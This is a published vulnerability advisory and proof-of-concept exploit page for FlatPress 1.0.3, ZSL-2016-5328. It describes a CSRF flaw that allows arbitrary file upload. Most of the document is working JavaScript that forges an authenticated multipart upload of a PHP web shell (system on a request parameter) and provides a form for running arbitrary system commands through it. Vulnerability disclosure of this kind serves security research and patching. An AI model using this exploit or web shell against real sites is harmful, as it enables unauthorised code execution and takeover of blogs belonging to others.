FlatPress 1.0.3 CSRF Arbitrary File Upload

Posted on 30 November -0001
<HTML><HEAD><TITLE>FlatPress 1.0.3 CSRF Arbitrary File Upload</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY><!DOCTYPE html>
<!--


FlatPress 1.0.3 CSRF Arbitrary File Upload


Vendor: Edoardo Vacchi
Product web page: http://www.flatpress.org
Affected version: 1.0.3

Summary: FlatPress is a blogging engine that saves your posts as
simple text files. Forget about SQL! You just need some PHP.

Desc: The vulnerability is caused due to the improper verification
of uploaded files via the Uploader script using 'upload[]' POST parameter
which allows of arbitrary files being uploaded in '/fp-content/attachs'
directory. The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks to
verify the requests. This can be exploited to perform actions with
administrative privileges if a logged-in user visits a malicious
web site resulting in execution of arbitrary PHP code by uploading
a malicious PHP script file and execute system commands.

Tested on: Apache/2.4.10
           PHP/5.6.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5328
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5328.php


04.04.2016

-->


<html>
<title>FlatPress 1.0.3 CSRF Arbitrary File Upload RCE PoC</title>
<body>

<script type="text/javascript">

function exec(){
  var command = document.getElementById("exec");
  var url = "http://localhost/flatpress/fp-content/attachs/test.php?cmd=";
  var cmdexec = command.value;
  window.open(url+cmdexec,"ZSL_iframe");
}

function upload(){
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "http://localhost/flatpress/admin.php?p=uploader&action=default", true);
  xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
  xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");
  xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundary1Ix0O1LgWmzQa0af");
  xhr.withCredentials = true;
  var body = "------WebKitFormBoundary1Ix0O1LgWmzQa0af
" + 
    "Content-Disposition: form-data; name="_wpnonce"
" + 
    "
" + 
    "5a462c73ac
" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af
" + 
    "Content-Disposition: form-data; name="_wp_http_referer"
" + 
    "
" + 
    "/flatpress/admin.php?p=uploader
" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af
" + 
    "Content-Disposition: form-data; name="upload[]"; filename="test.php"
" + 
    "Content-Type: application/octet-stream
" + 
    "
" + 
    "x3c?php
" + 
    "system($_REQUEST['cmd']);
" + 
    "?x3e
" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af
" + 
    "Content-Disposition: form-data; name="upload[]"; filename=""
" + 
    "Content-Type: application/octet-stream
" + 
    "
" + 
    "
" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af
" + 
    "Content-Disposition: form-data; name="upload[]"; filename=""
" + 
    "Content-Type: application/octet-stream
" + 
    "
" + 
    "
" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af
" + 
    "Content-Disposition: form-data; name="upload[]"; filename=""
" + 
    "Content-Type: application/octet-stream
" + 
    "
" + 
    "
" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af
" + 
    "Content-Disposition: form-data; name="upload[]"; filename=""
" + 
    "Content-Type: application/octet-stream
" + 
    "
" + 
    "
" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af
" + 
    "Content-Disposition: form-data; name="upload[]"; filename=""
" + 
    "Content-Type: application/octet-stream
" + 
    "
" + 
    "
" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af
" + 
    "Content-Disposition: form-data; name="upload[]"; filename=""
" + 
    "Content-Type: application/octet-stream
" + 
    "
" + 
    "
" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af
" + 
    "Content-Disposition: form-data; name="upload[]"; filename=""
" + 
    "Content-Type: application/octet-stream
" + 
    "
" + 
    "
" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af
" + 
    "Content-Disposition: form-data; name="upload"
" + 
    "
" + 
    "Upload
" + 
    "------WebKitFormBoundary1Ix0O1LgWmzQa0af--
";
  var aBody = new Uint8Array(body.length);
  for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i); 
    xhr.send(new Blob([aBody]));
}

</script>

<h3>FlatPress 1.0.3 CSRF Arbitrary File Upload RCE PoC Script</h3>

<form action="#">
  <button type="button" onclick=upload()>Upload test.php file!</button>
</form><br />

<form action="javascript:exec()">
  <input type="text" id="exec" placeholder="Enter a command">
  <input type="submit" value="Execute!">
</form><br />

<iframe
  style="border:2px;border-style:dashed;color:#d3d3d3"
  srcdoc="command output frame"
  width="700" height="600"
  name="ZSL_iframe">
</iframe>
<br />
<font size="2" color="#d3d3d3">ZSL-2016-5328</font>

</body>
</html>
</BODY></HTML>
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